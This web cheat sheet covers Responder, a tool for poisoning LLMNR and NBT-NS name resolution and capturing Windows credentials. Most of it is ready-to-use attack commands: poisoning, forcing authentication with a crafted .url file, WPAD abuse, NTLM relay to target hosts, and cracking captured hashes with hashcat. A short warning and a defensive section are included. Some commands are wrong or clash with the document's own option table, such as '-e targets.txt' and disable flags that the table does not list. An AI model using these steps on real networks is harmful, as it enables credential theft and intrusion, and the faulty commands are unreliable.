1337skills.com

Appearance

Responder Cheat Sheet ​

Overview ​

Responder is a powerful LLMNR (Link-Local Multicast Name Resolution), NBT-NS (NetBIOS Name Service), and MDNS (Multicast DNS) poisoner. It's designed to respond to specific network name resolution queries and includes built-in HTTP/SMB/MSSQL/FTP/LDAP rogue authentication servers supporting NTLMv1/NTLMv2/LMv2 authentication.

⚠️ Warning: Responder is a security testing tool that should only be used in environments where you have explicit permission to do so.

Installation ​

Kali Linux ​

bash
# Update package list
sudo apt update

# Install if not already installed
sudo apt install responder

From GitHub ​

bash
# Clone the repository
git clone https://github.com/lgandx/Responder

# Navigate to the directory
cd Responder

# Make the Python script executable
chmod +x Responder.py

Using pip ​

bash
# Install using pip
pip install Responder

Basic Usage ​

Starting Responder ​

bash
# Basic usage with interface specification
responder -I eth0

# Start with all options enabled
responder -I eth0 -wrf

# Analyze mode (passive)
responder -I eth0 -A

Command Line Options ​

OptionDescription
-h, --helpShow help message and exit
-A, --analyzeAnalyze mode. Do not poison any requests, just analyze traffic
-I <interface>Network interface to use
-i <IP>IP address to bind to
-e <IP>External IP address (for DHCP options)
-b, --basicReturn a Basic HTTP authentication. Default: NTLM
-r, --wredirEnable answers for netbios wredir suffix queries
-d, --NBTNSdomainEnable answers for netbios domain suffix queries
-f, --fingerprintFingerprint hosts that issued an NBT-NS or LLMNR query
-w, --wpadStart the WPAD rogue proxy server
-u, --upstream-proxyUpstream HTTP proxy used by the rogue WPAD proxy
-F, --ForceWpadAuthForce NTLM/Basic authentication on wpad.dat file retrieval
-P, --ProxyAuthForce NTLM/Basic authentication for any proxy request
-lm, --LMForce LM hashing downgrade for Windows XP/2003 and earlier
-v, --verboseIncrease verbosity
--log-localLog to file in addition to console
-s, --disable-syslogDo not log to syslog
-S, --disable-stdoutDo not log to stdout
-c, --configPath to configuration file
--server=SERVEREnable/disable specific server (HTTP, SMB, etc.)
--sqlEnable the MSSQL server
--mssqlEnable the MSSQL server
--httpsEnable the HTTPS server
--httpEnable the HTTP server
--smbEnable the SMB server
--ftpEnable the FTP server
--imapEnable the IMAP server
--popEnable the POP server
--smtpEnable the SMTP server
--ldapEnable the LDAP server
--dnsEnable the DNS server

Configuration File ​

The configuration file is located at /etc/responder/Responder.conf or in the Responder directory as Responder.conf.

Key Configuration Options ​

ini
[Responder Core]
; Set to On or Off to enable or disable features
SQL = On
SMB = On
Kerberos = On
FTP = On
POP = On
SMTP = On
IMAP = On
HTTP = On
HTTPS = On
DNS = On
LDAP = On

Attack Scenarios ​

Basic LLMNR/NBT-NS Poisoning ​

bash
# Start Responder with default settings
responder -I eth0 -v

# Wait for authentication attempts
# Hashes will be saved in the logs directory

Forced Authentication via UNC Path ​

bash
# Create a file with a UNC path
echo "file://<non-existent-share>/test.txt" > malicious.url

# Start Responder
responder -I eth0 -v

# When the victim opens the file, their system will attempt to authenticate
# Responder will capture the hash

WPAD Attack ​

bash
# Start Responder with WPAD enabled
responder -I eth0 -w -v

# When a victim's browser requests a WPAD configuration file
# Responder will respond and capture authentication attempts

Relay Attack Setup ​

bash
# Start Responder with SMB and HTTP servers disabled
responder -I eth0 -v --disable-http --disable-smb

# In another terminal, run ntlmrelayx
ntlmrelayx.py -t <target_ip> -smb2support

Hash Capture and Cracking ​

Viewing Captured Hashes ​

bash
# View captured hashes
cat /usr/share/responder/logs/SMB-NTLMv2-SSP-<IP>.txt

# Format of captured hash
# USERNAME::DOMAIN:challenge:NTLM response:other data

Cracking with Hashcat ​

bash
# Crack NTLMv2 hashes with hashcat
hashcat -m 5600 /usr/share/responder/logs/SMB-NTLMv2-SSP-<IP>.txt /path/to/wordlist

# Crack NTLMv1 hashes with hashcat
hashcat -m 5500 /usr/share/responder/logs/SMB-NTLMv1-SSP-<IP>.txt /path/to/wordlist

Advanced Techniques ​

Using Responder with MultiRelay ​

bash
# Start Responder with SMB and HTTP servers disabled
responder -I eth0 -v --disable-http --disable-smb

# In another terminal, run MultiRelay
cd Responder/tools
python3 MultiRelay.py -t <target_ip> -u ALL

Poisoning Specific Hosts ​

bash
# Create a file with target IPs
echo "192.168.1.10" > targets.txt

# Start Responder with target file
responder -I eth0 -v -e targets.txt

Custom Challenge Value ​

bash
# Edit Responder.conf and set a custom challenge
# [Responder Core]
# Challenge = 1122334455667788

Defensive Measures ​

Disabling LLMNR via Group Policy ​

  1. Open Group Policy Editor
  2. Navigate to Computer Configuration > Administrative Templates > Network > DNS Client
  3. Enable "Turn off multicast name resolution"

Disabling NBT-NS via Command Line ​

bash
# Disable NBT-NS on Windows
netsh interface ipv4 set interface "Local Area Connection" nbtbios=disabled

Disabling NBT-NS via Registry ​

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\NetBT\Parameters\NodeType = 2 (P-node)

Detecting Responder Activity ​

bash
# Monitor for suspicious LLMNR/NBT-NS responses
# Look for multiple services running on the same IP
# Check for unusual authentication attempts

Troubleshooting ​

Common Issues ​

  1. Port Conflicts

    bash
    # Check if ports are already in use
netstat -tuln | grep -E '445|80|53'

# Kill conflicting processes
sudo kill <PID>

  2. Interface Not Found

    bash
    # List available interfaces
ip a

# Use the correct interface name
responder -I <correct_interface>

  3. Permission Issues

    bash
    # Run with sudo
sudo responder -I eth0

  4. No Hashes Captured

    bash
    # Check if Responder is running in analyze mode
# Ensure the network allows the required traffic
# Try forcing authentication with UNC paths

Resources ​

This cheat sheet provides a comprehensive reference for using Responder in security testing scenarios. Always ensure you have proper authorization before using this tool in any environment.